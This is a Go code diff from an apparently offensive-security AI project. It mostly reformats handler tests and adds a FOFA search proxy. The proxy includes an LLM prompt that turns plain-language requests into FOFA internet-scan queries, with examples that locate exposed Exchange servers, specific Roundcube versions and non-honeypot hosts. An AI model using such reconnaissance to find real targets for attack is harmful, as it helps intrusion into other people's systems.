 	reqBody := AddOrUpdateExternalMCPRequest{
 		Config: configObj,
 	}
-	
+
 	body, _ := json.Marshal(reqBody)
 	req := httptest.NewRequest("PUT", "/api/external-mcp/test-http", bytes.NewBuffer(body))
 	req.Header.Set("Content-Type", "application/json")
 	w := httptest.NewRecorder()
-	
+
 	router.ServeHTTP(w, req)
-	
+
 	if w.Code != http.StatusOK {
 		t.Fatalf("期望状态码200，实际%d: %s", w.Code, w.Body.String())
 	}
-	
+
 	// 验证配置已添加
 	req2 := httptest.NewRequest("GET", "/api/external-mcp/test-http", nil)
 	w2 := httptest.NewRecorder()
 	router.ServeHTTP(w2, req2)
-	
+
 	if w2.Code != http.StatusOK {
 		t.Fatalf("期望状态码200，实际%d: %s", w2.Code, w2.Body.String())
 	}
-	
+
 	var response ExternalMCPResponse
 	if err := json.Unmarshal(w2.Body.Bytes(), &response); err != nil {
 		t.Fatalf("解析响应失败: %v", err)
 	}
-	
+
 	if response.Config.Transport != "http" {
 		t.Errorf("期望transport为http，实际%s", response.Config.Transport)
 	}
@@ -178,7 +179,7 @@ func TestExternalMCPHandler_AddOrUpdateExternalMCP_HTTP(t *testing.T) {
 func TestExternalMCPHandler_AddOrUpdateExternalMCP_InvalidConfig(t *testing.T) {
 	router, _, configPath := setupTestRouter()
 	defer cleanupTestConfig(configPath)
-	
+
 	testCases := []struct {
 		name        string
 		configJSON  string
@@ -187,7 +188,7 @@ func TestExternalMCPHandler_AddOrUpdateExternalMCP_InvalidConfig(t *testing.T) {
 		{
 			name:        "缺少command和url",
 			configJSON:  `{"enabled": true}`,
-			expectedErr: "需要指定command（stdio模式）或url（http模式）",
+			expectedErr: "需要指定command（stdio模式）或url（http/sse模式）",
 		},
 		{
 			name:        "stdio模式缺少command",
@@ -205,34 +206,34 @@ func TestExternalMCPHandler_AddOrUpdateExternalMCP_InvalidConfig(t *testing.T) {
 			expectedErr: "不支持的传输模式",
 		},
 	}
-	
+
 	for _, tc := range testCases {
 		t.Run(tc.name, func(t *testing.T) {
 			var configObj config.ExternalMCPServerConfig
 			if err := json.Unmarshal([]byte(tc.configJSON), &configObj); err != nil {
 				t.Fatalf("解析配置JSON失败: %v", err)
 			}
-			
+
 			reqBody := AddOrUpdateExternalMCPRequest{
 				Config: configObj,
 			}
-			
+
 			body, _ := json.Marshal(reqBody)
 			req := httptest.NewRequest("PUT", "/api/external-mcp/test-invalid", bytes.NewBuffer(body))
 			req.Header.Set("Content-Type", "application/json")
 			w := httptest.NewRecorder()
-			
+
 			router.ServeHTTP(w, req)
-			
+
 			if w.Code != http.StatusBadRequest {
 				t.Errorf("期望状态码400，实际%d: %s", w.Code, w.Body.String())
 			}
-			
+
 			var response map[string]interface{}
 			if err := json.Unmarshal(w.Body.Bytes(), &response); err != nil {
 				t.Fatalf("解析响应失败: %v", err)
 			}
-			
+
 			errorMsg := response["error"].(string)
 			// 对于stdio模式缺少command的情况，错误信息可能略有不同
 			if tc.name == "stdio模式缺少command" {
@@ -249,28 +250,28 @@ func TestExternalMCPHandler_AddOrUpdateExternalMCP_InvalidConfig(t *testing.T) {
 func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
 	router, handler, configPath := setupTestRouter()
 	defer cleanupTestConfig(configPath)
-	
+
 	// 先添加一个配置
 	configObj := config.ExternalMCPServerConfig{
 		Command: "python3",
 		Enabled: true,
 	}
 	handler.manager.AddOrUpdateConfig("test-delete", configObj)
-	
+
 	// 删除配置
 	req := httptest.NewRequest("DELETE", "/api/external-mcp/test-delete", nil)
 	w := httptest.NewRecorder()
 	router.ServeHTTP(w, req)
-	
+
 	if w.Code != http.StatusOK {
 		t.Fatalf("期望状态码200，实际%d: %s", w.Code, w.Body.String())
 	}
-	
+
 	// 验证配置已删除
 	req2 := httptest.NewRequest("GET", "/api/external-mcp/test-delete", nil)
 	w2 := httptest.NewRecorder()
 	router.ServeHTTP(w2, req2)
-	
+
 	if w2.Code != http.StatusNotFound {
 		t.Errorf("期望状态码404，实际%d: %s", w2.Code, w2.Body.String())
 	}
@@ -278,7 +279,7 @@ func TestExternalMCPHandler_DeleteExternalMCP(t *testing.T) {
 
 func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
 	router, handler, _ := setupTestRouter()
-	
+
 	// 添加多个配置
 	handler.manager.AddOrUpdateConfig("test1", config.ExternalMCPServerConfig{
 		Command: "python3",
@@ -288,20 +289,20 @@ func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
 		URL:     "http://127.0.0.1:8081/mcp",
 		Enabled: false,
 	})
-	
+
 	req := httptest.NewRequest("GET", "/api/external-mcp", nil)
 	w := httptest.NewRecorder()
 	router.ServeHTTP(w, req)
-	
+
 	if w.Code != http.StatusOK {
 		t.Fatalf("期望状态码200，实际%d: %s", w.Code, w.Body.String())
 	}
-	
+
 	var response map[string]interface{}
 	if err := json.Unmarshal(w.Body.Bytes(), &response); err != nil {
 		t.Fatalf("解析响应失败: %v", err)
 	}
-	
+
 	servers := response["servers"].(map[string]interface{})
 	if len(servers) != 2 {
 		t.Errorf("期望2个服务器，实际%d", len(servers))
@@ -312,7 +313,7 @@ func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
 	if _, ok := servers["test2"]; !ok {
 		t.Error("期望包含test2")
 	}
-	
+
 	stats := response["stats"].(map[string]interface{})
 	if int(stats["total"].(float64)) != 2 {
 		t.Errorf("期望总数为2，实际%d", int(stats["total"].(float64)))
@@ -321,7 +322,7 @@ func TestExternalMCPHandler_GetExternalMCPs(t *testing.T) {
 
 func TestExternalMCPHandler_GetExternalMCPStats(t *testing.T) {
 	router, handler, _ := setupTestRouter()
-	
+
 	// 添加配置
 	handler.manager.AddOrUpdateConfig("enabled1", config.ExternalMCPServerConfig{
 		Command: "python3",
@@ -336,20 +337,20 @@ func TestExternalMCPHandler_GetExternalMCPStats(t *testing.T) {
 		Enabled:  false,
 		Disabled: true,
 	})
-	
+
 	req := httptest.NewRequest("GET", "/api/external-mcp/stats", nil)
 	w := httptest.NewRecorder()
 	router.ServeHTTP(w, req)
-	
+
 	if w.Code != http.StatusOK {
 		t.Fatalf("期望状态码200，实际%d: %s", w.Code, w.Body.String())
 	}
-	
+
 	var stats map[string]interface{}
 	if err := json.Unmarshal(w.Body.Bytes(), &stats); err != nil {
 		t.Fatalf("解析响应失败: %v", err)
 	}
-	
+
 	if int(stats["total"].(float64)) != 3 {
 		t.Errorf("期望总数为3，实际%d", int(stats["total"].(float64)))
 	}
@@ -364,19 +365,19 @@ func TestExternalMCPHandler_GetExternalMCPStats(t *testing.T) {
 func TestExternalMCPHandler_StartStopExternalMCP(t *testing.T) {
 	router, handler, configPath := setupTestRouter()
 	defer cleanupTestConfig(configPath)
-	
+
 	// 添加一个禁用的配置
 	handler.manager.AddOrUpdateConfig("test-start-stop", config.ExternalMCPServerConfig{
 		Command:  "python3",
 		Enabled:  false,
 		Disabled: true,
 	})
-	
+
 	// 测试启动（可能会失败，因为没有真实的服务器）
 	req := httptest.NewRequest("POST", "/api/external-mcp/test-start-stop/start", nil)
 	w := httptest.NewRecorder()
 	router.ServeHTTP(w, req)
-	
+
 	// 启动可能会失败，但应该返回合理的状态码
 	if w.Code != http.StatusOK {
 		// 如果启动失败，应该是400或500
@@ -384,12 +385,12 @@ func TestExternalMCPHandler_StartStopExternalMCP(t *testing.T) {
 			t.Errorf("期望状态码200/400/500，实际%d: %s", w.Code, w.Body.String())
 		}
 	}
-	
+
 	// 测试停止
 	req2 := httptest.NewRequest("POST", "/api/external-mcp/test-start-stop/stop", nil)
 	w2 := httptest.NewRecorder()
 	router.ServeHTTP(w2, req2)
-	
+
 	if w2.Code != http.StatusOK {
 		t.Errorf("期望状态码200，实际%d: %s", w2.Code, w2.Body.String())
 	}
@@ -397,11 +398,11 @@ func TestExternalMCPHandler_StartStopExternalMCP(t *testing.T) {
 
 func TestExternalMCPHandler_GetExternalMCP_NotFound(t *testing.T) {
 	router, _, _ := setupTestRouter()
-	
+
 	req := httptest.NewRequest("GET", "/api/external-mcp/nonexistent", nil)
 	w := httptest.NewRecorder()
 	router.ServeHTTP(w, req)
-	
+
 	if w.Code != http.StatusNotFound {
 		t.Errorf("期望状态码404，实际%d: %s", w.Code, w.Body.String())
 	}
@@ -410,11 +411,11 @@ func TestExternalMCPHandler_GetExternalMCP_NotFound(t *testing.T) {
 func TestExternalMCPHandler_DeleteExternalMCP_NotFound(t *testing.T) {
 	router, _, configPath := setupTestRouter()
 	defer cleanupTestConfig(configPath)
-	
+
 	req := httptest.NewRequest("DELETE", "/api/external-mcp/nonexistent", nil)
 	w := httptest.NewRecorder()
 	router.ServeHTTP(w, req)
-	
+
 	// 删除不存在的配置可能返回200（幂等操作）或404，都是合理的
 	if w.Code != http.StatusNotFound && w.Code != http.StatusOK {
 		t.Errorf("期望状态码404或200，实际%d: %s", w.Code, w.Body.String())
@@ -423,23 +424,23 @@ func TestExternalMCPHandler_DeleteExternalMCP_NotFound(t *testing.T) {
 
 func TestExternalMCPHandler_AddOrUpdateExternalMCP_EmptyName(t *testing.T) {
 	router, _, _ := setupTestRouter()
-	
+
 	configObj := config.ExternalMCPServerConfig{
 		Command: "python3",
 		Enabled: true,
 	}
-	
+
 	reqBody := AddOrUpdateExternalMCPRequest{
 		Config: configObj,
 	}
-	
+
 	body, _ := json.Marshal(reqBody)
 	req := httptest.NewRequest("PUT", "/api/external-mcp/", bytes.NewBuffer(body))
 	req.Header.Set("Content-Type", "application/json")
 	w := httptest.NewRecorder()
-	
+
 	router.ServeHTTP(w, req)
-	
+
 	// 空名称应该返回404或400
 	if w.Code != http.StatusNotFound && w.Code != http.StatusBadRequest {
 		t.Errorf("期望状态码404或400，实际%d: %s", w.Code, w.Body.String())
@@ -448,15 +449,15 @@ func TestExternalMCPHandler_AddOrUpdateExternalMCP_EmptyName(t *testing.T) {
 
 func TestExternalMCPHandler_AddOrUpdateExternalMCP_InvalidJSON(t *testing.T) {
 	router, _, _ := setupTestRouter()
-	
+
 	// 发送无效的JSON
 	body := []byte(`{"config": invalid json}`)
 	req := httptest.NewRequest("PUT", "/api/external-mcp/test", bytes.NewBuffer(body))
 	req.Header.Set("Content-Type", "application/json")
 	w := httptest.NewRecorder()
-	
+
 	router.ServeHTTP(w, req)
-	
+
 	if w.Code != http.StatusBadRequest {
 		t.Errorf("期望状态码400，实际%d: %s", w.Code, w.Body.String())
 	}
@@ -465,49 +466,49 @@ func TestExternalMCPHandler_AddOrUpdateExternalMCP_InvalidJSON(t *testing.T) {
 func TestExternalMCPHandler_UpdateExistingConfig(t *testing.T) {
 	router, handler, configPath := setupTestRouter()
 	defer cleanupTestConfig(configPath)
-	
+
 	// 先添加配置
 	config1 := config.ExternalMCPServerConfig{
 		Command: "python3",
 		Enabled: true,
 	}
 	handler.manager.AddOrUpdateConfig("test-update", config1)
-	
+
 	// 更新配置
 	config2 := config.ExternalMCPServerConfig{
 		URL:     "http://127.0.0.1:8081/mcp",
 		Enabled: true,
 	}
-	
+
 	reqBody := AddOrUpdateExternalMCPRequest{
 		Config: config2,
 	}
-	
+
 	body, _ := json.Marshal(reqBody)
 	req := httptest.NewRequest("PUT", "/api/external-mcp/test-update", bytes.NewBuffer(body))
 	req.Header.Set("Content-Type", "application/json")
 	w := httptest.NewRecorder()
-	
+
 	router.ServeHTTP(w, req)
-	
+
 	if w.Code != http.StatusOK {
 		t.Fatalf("期望状态码200，实际%d: %s", w.Code, w.Body.String())
 	}
-	
+
 	// 验证配置已更新
 	req2 := httptest.NewRequest("GET", "/api/external-mcp/test-update", nil)
 	w2 := httptest.NewRecorder()
 	router.ServeHTTP(w2, req2)
-	
+
 	if w2.Code != http.StatusOK {
 		t.Fatalf("期望状态码200，实际%d: %s", w2.Code, w2.Body.String())
 	}
-	
+
 	var response ExternalMCPResponse
 	if err := json.Unmarshal(w2.Body.Bytes(), &response); err != nil {
 		t.Fatalf("解析响应失败: %v", err)
 	}
-	
+
 	if response.Config.URL != "http://127.0.0.1:8081/mcp" {
 		t.Errorf("期望url为'http://127.0.0.1:8081/mcp'，实际%s", response.Config.URL)
 	}
@@ -515,4 +516,3 @@ func TestExternalMCPHandler_UpdateExistingConfig(t *testing.T) {
 		t.Errorf("期望command为空，实际%s", response.Config.Command)
 	}
 }
-

internal/handler/fofa.go

@@ -0,0 +1,467 @@
+package handler
+
+import (
+	"context"
+	"encoding/base64"
+	"encoding/json"
+	"errors"
+	"fmt"
+	"net/http"
+	"net/url"
+	"os"
+	"strings"
+	"time"
+
+	"cyberstrike-ai/internal/config"
+	openaiClient "cyberstrike-ai/internal/openai"
+
+	"github.com/gin-gonic/gin"
+	"go.uber.org/zap"
+)
+
+type FofaHandler struct {
+	cfg          *config.Config
+	logger       *zap.Logger
+	client       *http.Client
+	openAIClient *openaiClient.Client
+}
+
+func NewFofaHandler(cfg *config.Config, logger *zap.Logger) *FofaHandler {
+	// LLM 请求通常比 FOFA 查询更慢一点，单独给一个更宽松的超时。
+	llmHTTPClient := &http.Client{Timeout: 2 * time.Minute}
+	var llmCfg *config.OpenAIConfig
+	if cfg != nil {
+		llmCfg = &cfg.OpenAI
+	}
+	return &FofaHandler{
+		cfg:          cfg,
+		logger:       logger,
+		client:       &http.Client{Timeout: 30 * time.Second},
+		openAIClient: openaiClient.NewClient(llmCfg, llmHTTPClient, logger),
+	}
+}
+
+type fofaSearchRequest struct {
+	Query  string `json:"query" binding:"required"`
+	Size   int    `json:"size,omitempty"`
+	Page   int    `json:"page,omitempty"`
+	Fields string `json:"fields,omitempty"`
+	Full   bool   `json:"full,omitempty"`
+}
+
+type fofaParseRequest struct {
+	Text string `json:"text" binding:"required"`
+}
+
+type fofaParseResponse struct {
+	Query       string   `json:"query"`
+	Explanation string   `json:"explanation,omitempty"`
+	Warnings    []string `json:"warnings,omitempty"`
+}
+
+type fofaAPIResponse struct {
+	Error   bool            `json:"error"`
+	ErrMsg  string          `json:"errmsg"`
+	Size    int             `json:"size"`
+	Page    int             `json:"page"`
+	Total   int             `json:"total"`
+	Mode    string          `json:"mode"`
+	Query   string          `json:"query"`
+	Results [][]interface{} `json:"results"`
+}
+
+type fofaSearchResponse struct {
+	Query        string                   `json:"query"`
+	Size         int                      `json:"size"`
+	Page         int                      `json:"page"`
+	Total        int                      `json:"total"`
+	Fields       []string                 `json:"fields"`
+	ResultsCount int                      `json:"results_count"`
+	Results      []map[string]interface{} `json:"results"`
+}
+
+func (h *FofaHandler) resolveCredentials() (email, apiKey string) {
+	// 优先环境变量（便于容器部署），其次配置文件
+	email = strings.TrimSpace(os.Getenv("FOFA_EMAIL"))
+	apiKey = strings.TrimSpace(os.Getenv("FOFA_API_KEY"))
+	if email != "" && apiKey != "" {
+		return email, apiKey
+	}
+	if h.cfg != nil {
+		if email == "" {
+			email = strings.TrimSpace(h.cfg.FOFA.Email)
+		}
+		if apiKey == "" {
+			apiKey = strings.TrimSpace(h.cfg.FOFA.APIKey)
+		}
+	}
+	return email, apiKey
+}
+
+func (h *FofaHandler) resolveBaseURL() string {
+	if h.cfg != nil {
+		if v := strings.TrimSpace(h.cfg.FOFA.BaseURL); v != "" {
+			return v
+		}
+	}
+	return "https://fofa.info/api/v1/search/all"
+}
+
+// ParseNaturalLanguage 将自然语言解析为 FOFA 查询语法（仅生成，不执行查询）
+func (h *FofaHandler) ParseNaturalLanguage(c *gin.Context) {
+	var req fofaParseRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
+		return
+	}
+	req.Text = strings.TrimSpace(req.Text)
+	if req.Text == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "text 不能为空"})
+		return
+	}
+
+	if h.cfg == nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": "系统配置未初始化"})
+		return
+	}
+	if strings.TrimSpace(h.cfg.OpenAI.APIKey) == "" || strings.TrimSpace(h.cfg.OpenAI.Model) == "" {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"error": "未配置 AI 模型：请在系统设置中填写 openai.api_key 与 openai.model（支持 OpenAI 兼容 API，如 DeepSeek）",
+			"need":  []string{"openai.api_key", "openai.model"},
+		})
+		return
+	}
+	if h.openAIClient == nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": "AI 客户端未初始化"})
+		return
+	}
+
+	systemPrompt := strings.TrimSpace(`
+你是“FOFA 查询语法生成器”。任务：把用户输入的自然语言搜索意图，转换成 FOFA 查询语法。
+
+输出要求（非常重要）：
+1) 只输出 JSON（不要 markdown、不要代码块、不要额外解释文本）
+2) JSON 结构必须是：
+{
+  "query": "string，FOFA查询语法（可直接粘贴到 FOFA 或本系统查询框）",
+  "explanation": "string，可选，解释你如何映射字段/逻辑",
+  "warnings": ["string"...] 可选，列出歧义/风险/需要人工确认的点
+}
+3) 如果用户输入本身已经是 FOFA 查询语法（或非常接近 FOFA 语法的表达式），应当“原样返回”为 query：
+   - 不要擅自改写字段名、操作符、括号结构
+   - 不要改写任何字符串值（尤其是地理位置类值），不要做缩写/同义词替换/翻译/音译
+
+查询语法要点（来自 FOFA 语法参考）：
+- 逻辑连接符：&&（与）、||（或），必要时用 () 包住子表达式以确认优先级（括号优先级最高）
+- 当同一层级同时出现 && 与 ||（混用）时，用 () 明确优先级（避免歧义）
+- 比较/匹配：
+  - =  匹配；当字段="" 时，可查询“不存在该字段”或“值为空”的情况
+  - == 完全匹配；当字段=="" 时，可查询“字段存在且值为空”的情况
+  - != 不匹配；当字段!="" 时，可查询“值不为空”的情况
+  - *= 模糊匹配；可使用 * 或 ? 进行搜索
+- 直接输入关键词（不带字段）会在标题、HTML内容、HTTP头、URL字段中搜索；但当意图明确时优先用字段表达（更可控、更准确）
+
+字段示例速查（来自用户提供的案例，可直接套用/拼接）：
+- 高级搜索操作符示例：
+  - title="beijing"                    （= 匹配）
+  - title==""                          （== 完全匹配，字段存在且值为空）
+  - title=""                           （= 匹配，可能表示字段不存在或值为空）
+  - title!=""                          （!= 不匹配，可用于值不为空）
+  - title*="*Home*"                    （*= 模糊匹配，用 * 或 ?）
+  - (app="Apache" || app="Nginx") && country="CN"   （混用 && / || 时用括号）
+- 基础类（General）：
+  - ip="1.1.1.1"
+  - ip="220.181.111.1/24"
+  - ip="2600:9000:202a:2600:18:4ab7:f600:93a1"
+  - port="6379"
+  - domain="qq.com"
+  - host=".fofa.info"
+  - os="centos"
+  - server="Microsoft-IIS/10"
+  - asn="19551"
+  - org="LLC Baxet"
+  - is_domain=true / is_domain=false
+  - is_ipv6=true / is_ipv6=false
+- 标记类（Special Label）：
+  - app="Microsoft-Exchange"
+  - fid="sSXXGNUO2FefBTcCLIT/2Q=="
+  - product="NGINX"
+  - product="Roundcube-Webmail" && product.version="1.6.10"
+  - category="服务"
+  - type="service" / type="subdomain"
+  - cloud_name="Aliyundun"
+  - is_cloud=true / is_cloud=false
+  - is_fraud=true / is_fraud=false
+  - is_honeypot=true / is_honeypot=false
+- 协议类（type=service）：
+  - protocol="quic"
+  - banner="users"
+  - banner_hash="7330105010150477363"
+  - banner_fid="zRpqmn0FXQRjZpH8MjMX55zpMy9SgsW8"
+  - base_protocol="udp" / base_protocol="tcp"
+- 网站类（type=subdomain）：
+  - title="beijing"
+  - header="elastic"
+  - header_hash="1258854265"
+  - body="网络空间测绘"
+  - body_hash="-2090962452"
+  - js_name="js/jquery.js"
+  - js_md5="82ac3f14327a8b7ba49baa208d4eaa15"
+  - cname="customers.spektrix.com"
+  - cname_domain="siteforce.com"
+  - icon_hash="-247388890"
+  - status_code="402"
+  - icp="京ICP证030173号"
+  - sdk_hash="Are3qNnP2Eqn7q5kAoUO3l+w3mgVIytO"
+- 地理位置（Location）：
+  - country="CN" 或 country="中国"
+  - region="Zhejiang" 或 region="浙江"（仅支持中国地区中文）
+  - city="Hangzhou"
+- 证书类（Certificate）：
+  - cert="baidu"
+  - cert.subject="Oracle Corporation"
+  - cert.issuer="DigiCert"
+  - cert.subject.org="Oracle Corporation"
+  - cert.subject.cn="baidu.com"
+  - cert.issuer.org="cPanel, Inc."
+  - cert.issuer.cn="Synology Inc. CA"
+  - cert.domain="huawei.com"
+  - cert.is_equal=true / cert.is_equal=false
+  - cert.is_valid=true / cert.is_valid=false
+  - cert.is_match=true / cert.is_match=false
+  - cert.is_expired=true / cert.is_expired=false
+  - jarm="2ad2ad0002ad2ad22c2ad2ad2ad2ad2eac92ec34bcc0cf7520e97547f83e81"
+  - tls.version="TLS 1.3"
+  - tls.ja3s="15af977ce25de452b96affa2addb1036"
+  - cert.sn="356078156165546797850343536942784588840297"
+  - cert.not_after.after="2025-03-01" / cert.not_after.before="2025-03-01"
+  - cert.not_before.after="2025-03-01" / cert.not_before.before="2025-03-01"
+- 时间类（Last update time）：
+  - after="2023-01-01"
+  - before="2023-12-01"
+  - after="2023-01-01" && before="2023-12-01"
+- 独立IP语法（需配合 ip_filter / ip_exclude）：
+  - ip_filter(banner="SSH-2.0-OpenSSH_6.7p2") && ip_filter(icon_hash="-1057022626")
+  - ip_filter(banner="SSH-2.0-OpenSSH_6.7p2" && asn="3462") && ip_exclude(title="EdgeOS")
+  - port_size="6" / port_size_gt="6" / port_size_lt="12"
+  - ip_ports="80,161"
+  - ip_country="CN"
+  - ip_region="Zhejiang"
+  - ip_city="Hangzhou"
+  - ip_after="2021-03-18"
+  - ip_before="2019-09-09"
+
+生成约束与注意事项：
+- 字符串值一律用英文双引号包裹，例如 title="登录"、country="CN"
+- 字符串值保持字面一致：不要缩写（例如 city="beijing" 不要变成 city="BJ"），不要用别名（例如 Beijing/Peking），不要擅自翻译/音译/改写大小写
+- 地理位置字段（country/region/city）更倾向于“按用户给定值输出”；不确定合法取值时，不要猜测，把备选写进 warnings
+- 不要捏造不存在的 FOFA 字段；不确定时把不确定点写进 warnings，并输出一个保守的 query
+- 当用户描述里有“多个与/或条件”，优先加 () 明确优先级，例如：(app="Apache" || app="Nginx") && country="CN"
+- 当用户缺少关键条件导致范围过大或歧义（如地点/协议/端口/服务类型未说明），允许 query 为空字符串，并在 warnings 里明确需要补充的信息
+`)
+
+	userPrompt := fmt.Sprintf("自然语言意图：%s", req.Text)
+
+	requestBody := map[string]interface{}{
+		"model": h.cfg.OpenAI.Model,
+		"messages": []map[string]interface{}{
+			{"role": "system", "content": systemPrompt},
+			{"role": "user", "content": userPrompt},
+		},
+		"temperature": 0.1,
+		"max_tokens":  1200,
+	}
+
+	// OpenAI 返回结构：只需要 choices[0].message.content
+	var apiResponse struct {
+		Choices []struct {
+			Message struct {
+				Content string `json:"content"`
+			} `json:"message"`
+		} `json:"choices"`
+	}
+
+	ctx, cancel := context.WithTimeout(c.Request.Context(), 90*time.Second)
+	defer cancel()
+
+	if err := h.openAIClient.ChatCompletion(ctx, requestBody, &apiResponse); err != nil {
+		var apiErr *openaiClient.APIError
+		if errors.As(err, &apiErr) {
+			h.logger.Warn("FOFA自然语言解析：LLM返回错误", zap.Int("status", apiErr.StatusCode))
+			c.JSON(http.StatusBadGateway, gin.H{"error": "AI 解析失败（上游返回非 200），请检查模型配置或稍后重试"})
+			return
+		}
+		c.JSON(http.StatusBadGateway, gin.H{"error": "AI 解析失败: " + err.Error()})
+		return
+	}
+	if len(apiResponse.Choices) == 0 {
+		c.JSON(http.StatusBadGateway, gin.H{"error": "AI 未返回有效结果"})
+		return
+	}
+
+	content := strings.TrimSpace(apiResponse.Choices[0].Message.Content)
+	// 兼容模型偶尔返回 ```json ... ``` 的情况
+	content = strings.TrimPrefix(content, "```json")
+	content = strings.TrimPrefix(content, "```")
+	content = strings.TrimSuffix(content, "```")
+	content = strings.TrimSpace(content)
+
+	var parsed fofaParseResponse
+	if err := json.Unmarshal([]byte(content), &parsed); err != nil {
+		// 直接回传一部分原文，方便排查，但避免太大
+		snippet := content
+		if len(snippet) > 1200 {
+			snippet = snippet[:1200]
+		}
+		c.JSON(http.StatusBadGateway, gin.H{
+			"error":   "AI 返回内容无法解析为 JSON，请稍后重试或换个描述方式",
+			"snippet": snippet,
+		})
+		return
+	}
+	parsed.Query = strings.TrimSpace(parsed.Query)
+	if parsed.Query == "" {
+		// query 允许为空（表示需求不明确），但前端需要明确提示
+		if len(parsed.Warnings) == 0 {
+			parsed.Warnings = []string{"需求信息不足，未能生成可用的 FOFA 查询语法，请补充关键条件（如国家/端口/产品/域名等）。"}
+		}
+	}
+
+	c.JSON(http.StatusOK, parsed)
+}
+
+// Search FOFA 查询（后端代理，避免前端暴露 key）
+func (h *FofaHandler) Search(c *gin.Context) {
+	var req fofaSearchRequest
+	if err := c.ShouldBindJSON(&req); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "无效的请求参数: " + err.Error()})
+		return
+	}
+
+	req.Query = strings.TrimSpace(req.Query)
+	if req.Query == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "query 不能为空"})
+		return
+	}
+	if req.Size <= 0 {
+		req.Size = 100
+	}
+	if req.Page <= 0 {
+		req.Page = 1
+	}
+	// FOFA 接口 size 上限和账户权限相关，这里只做一个合理的保护
+	if req.Size > 10000 {
+		req.Size = 10000
+	}
+	if req.Fields == "" {
+		req.Fields = "host,ip,port,domain,title,protocol,country,province,city,server"
+	}
+
+	email, apiKey := h.resolveCredentials()
+	if email == "" || apiKey == "" {
+		c.JSON(http.StatusBadRequest, gin.H{
+			"error":   "FOFA 未配置：请在系统设置中填写 FOFA Email/API Key，或设置环境变量 FOFA_EMAIL/FOFA_API_KEY",
+			"need":    []string{"fofa.email", "fofa.api_key"},
+			"env_key": []string{"FOFA_EMAIL", "FOFA_API_KEY"},
+		})
+		return
+	}
+
+	baseURL := h.resolveBaseURL()
+	qb64 := base64.StdEncoding.EncodeToString([]byte(req.Query))
+
+	u, err := url.Parse(baseURL)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": "FOFA base_url 无效: " + err.Error()})
+		return
+	}
+
+	params := u.Query()
+	params.Set("email", email)
+	params.Set("key", apiKey)
+	params.Set("qbase64", qb64)
+	params.Set("size", fmt.Sprintf("%d", req.Size))
+	params.Set("page", fmt.Sprintf("%d", req.Page))
+	params.Set("fields", strings.TrimSpace(req.Fields))
+	if req.Full {
+		params.Set("full", "true")
+	} else {
+		// 明确传 false，便于排查
+		params.Set("full", "false")
+	}
+	u.RawQuery = params.Encode()
+
+	httpReq, err := http.NewRequestWithContext(c.Request.Context(), http.MethodGet, u.String(), nil)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": "创建请求失败: " + err.Error()})
+		return
+	}
+
+	resp, err := h.client.Do(httpReq)
+	if err != nil {
+		c.JSON(http.StatusBadGateway, gin.H{"error": "请求 FOFA 失败: " + err.Error()})
+		return
+	}
+	defer resp.Body.Close()
+
+	if resp.StatusCode < 200 || resp.StatusCode >= 300 {
+		c.JSON(http.StatusBadGateway, gin.H{"error": fmt.Sprintf("FOFA 返回非 2xx: %d", resp.StatusCode)})
+		return
+	}
+
+	var apiResp fofaAPIResponse
+	if err := json.NewDecoder(resp.Body).Decode(&apiResp); err != nil {
+		c.JSON(http.StatusBadGateway, gin.H{"error": "解析 FOFA 响应失败: " + err.Error()})
+		return
+	}
+	if apiResp.Error {
+		msg := strings.TrimSpace(apiResp.ErrMsg)
+		if msg == "" {
+			msg = "FOFA 返回错误"
+		}
+		c.JSON(http.StatusBadGateway, gin.H{"error": msg})
+		return
+	}
+
+	fields := splitAndCleanCSV(req.Fields)
+	results := make([]map[string]interface{}, 0, len(apiResp.Results))
+	for _, row := range apiResp.Results {
+		item := make(map[string]interface{}, len(fields))
+		for i, f := range fields {
+			if i < len(row) {
+				item[f] = row[i]
+			} else {
+				item[f] = nil
+			}
+		}
+		results = append(results, item)
+	}
+
+	c.JSON(http.StatusOK, fofaSearchResponse{
+		Query:        req.Query,
+		Size:         apiResp.Size,
+		Page:         apiResp.Page,
+		Total:        apiResp.Total,
+		Fields:       fields,
+		ResultsCount: len(results),
+		Results:      results,
+	})
+}
+
+func splitAndCleanCSV(s string) []string {
+	parts := strings.Split(s, ",")
+	out := make([]string, 0, len(parts))
+	seen := make(map[string]struct{}, len(parts))
+	for _, p := range parts {
+		v := strings.TrimSpace(p)
+		if v == "" {
+			continue
+		}
+		if _, ok := seen[v]; ok {
+			continue
+		}
+		seen[v] = struct{}{}
+		out = append(out, v)
+	}
+	return out
+}

internal/handler/knowledge.go

@@ -15,11 +15,11 @@ import (
 
 // KnowledgeHandler 知识库处理器
 type KnowledgeHandler struct {
-	manager  *knowledge.Manager
+	manager   *knowledge.Manager
 	retriever *knowledge.Retriever
-	indexer  *knowledge.Indexer
-	db       *database.DB
-	logger   *zap.Logger
+	indexer   *knowledge.Indexer
+	db        *database.DB
+	logger    *zap.Logger
 }
 
 // NewKnowledgeHandler 创建新的知识库处理器
@@ -55,7 +55,7 @@ func (h *KnowledgeHandler) GetCategories(c *gin.Context) {
 func (h *KnowledgeHandler) GetItems(c *gin.Context) {
 	category := c.Query("category")
 	searchKeyword := c.Query("search") // 搜索关键字
-	
+
 	// 如果提供了搜索关键字，执行关键字搜索（在所有数据中搜索）
 	if searchKeyword != "" {
 		items, err := h.manager.SearchItemsByKeyword(searchKeyword, category)
@@ -75,7 +75,7 @@ func (h *KnowledgeHandler) GetItems(c *gin.Context) {
 			groupedByCategory[cat] = append(groupedByCategory[cat], item)
 		}
 
-		// 转换为CategoryWithItems格式
+		// 转换为 CategoryWithItems 格式
 		categoriesWithItems := make([]*knowledge.CategoryWithItems, 0, len(groupedByCategory))
 		for cat, catItems := range groupedByCategory {
 			categoriesWithItems = append(categoriesWithItems, &knowledge.CategoryWithItems{
